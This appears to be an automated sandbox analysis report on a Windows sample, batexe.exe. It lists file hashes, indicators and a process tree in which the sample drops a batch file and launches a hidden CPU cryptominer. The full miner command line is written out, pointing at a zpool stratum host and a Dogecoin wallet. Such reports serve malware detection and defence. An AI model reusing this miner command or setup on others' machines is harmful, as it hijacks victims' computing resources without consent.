73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
298s
max time network
293s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
21-02-2024 03:19

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3920	b2e.exe
3864	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3864	cpuminer-sse2.exe
3864	cpuminer-sse2.exe
3864	cpuminer-sse2.exe
3864	cpuminer-sse2.exe
3864	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2940-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2940 wrote to memory of 3920	2940	batexe.exe	74
PID 2940 wrote to memory of 3920	2940	batexe.exe	74
PID 2940 wrote to memory of 3920	2940	batexe.exe	74
PID 3920 wrote to memory of 2228	3920	b2e.exe	75
PID 3920 wrote to memory of 2228	3920	b2e.exe	75
PID 3920 wrote to memory of 2228	3920	b2e.exe	75
PID 2228 wrote to memory of 3864	2228	cmd.exe	78
PID 2228 wrote to memory of 3864	2228	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2940
- C:\Users\Admin\AppData\Local\Temp\B248.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\B248.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\B248.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B7F6.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2228
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3864

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\B248.tmp\b2e.exe

Filesize
7.9MB

MD5
566465d086aeb2dfc4d6e02d7d21b779

SHA1
0bb08763955ddd25b61b0f7be6248ccc94ccf2cc

SHA256
493a16da0174b183a63a63cb4d62e603ef4de902d65ef5420bd193b2009c06a3

SHA512
48e14f1f66483daeb14a14e2705f2514a0211a1a6348af6406293b6e5362aaffcbb6c360a6ce03e7c91c9ed2512941154af299466245c5bde2f4ad3ef3414fa6

Download Submit
C:\Users\Admin\AppData\Local\Temp\B248.tmp\b2e.exe

Filesize
7.8MB

MD5
0c568c04ce0670a46677c85b5bd4d9d6

SHA1
bc09ed9947807a89462ebf465b31c3956b9dae3f

SHA256
26b36a10024cd3a01689479d18f0ad29c472a1fb26ceba7c580c967de7c516ae

SHA512
2edb607fe43e1ff208bbd24f558cabb4419a3996a271f784d5cdf2321ec4a481db68a99e2da8a742468917f96dbfd09beb4a576aabcc37769e7e537e6ebfe9f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\B7F6.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.7MB

MD5
62f7d2cd3a3595de7df5a64285232393

SHA1
4aaf0508b7cdfae05d97c17640c39fd5fbc0ae3a

SHA256
5570444a6c73a1938d3e32d21d014a9e8ff677ff470dbc27871e75fd5bde9b1f

SHA512
7821fcc1defba477fa42c6cfd1912a9b7b6a66c390726726808c62e13e8f7d2fa4bd0cf052f18445cf8e07567e54219f6302e051e4707dd59677695b28ca7552

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
20.9MB

MD5
74a8a356b5f43e27486e7f0d4a1313c7

SHA1
cabc201133db1a60cbf774ffbcde90c8c5ddcb33

SHA256
f67a5a8e47542511265bc5625a9888fa9816f7bdf8462c9ab3a36983f9a76fc5

SHA512
1fc14b2fb1c4ace726a5d90dfd83908e113f9e14e29868f9e169dfa7da0c4cf3ab70576de3338203ad128230f717d0740f24f9b2c9a478aae3d11ee978393390

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
16.2MB

MD5
bd6a40eca2e30c86da85e69116f45b7b

SHA1
fd83e8a37695a865ae442d77c7d855208503b841

SHA256
cb8e1a86a01a6bf30ab5faf6f3b9f106cc1f8100d8b608ef5febcea41fe95336

SHA512
703944dd0a1b7e040a7795e0174bce7e2c2977d543499f6582be4ded89ef1150e27265c277fdfbf72cd90ce0200567ea49cf542806f894bb79513422e6214cc4

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2940-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3864-43-0x000000005BBB0000-0x000000005BC48000-memory.dmp

Filesize
608KB

Download
memory/3864-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3864-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3864-44-0x00000000010E0000-0x0000000002995000-memory.dmp

Filesize
24.7MB

Download
memory/3864-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3864-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3920-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3920-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download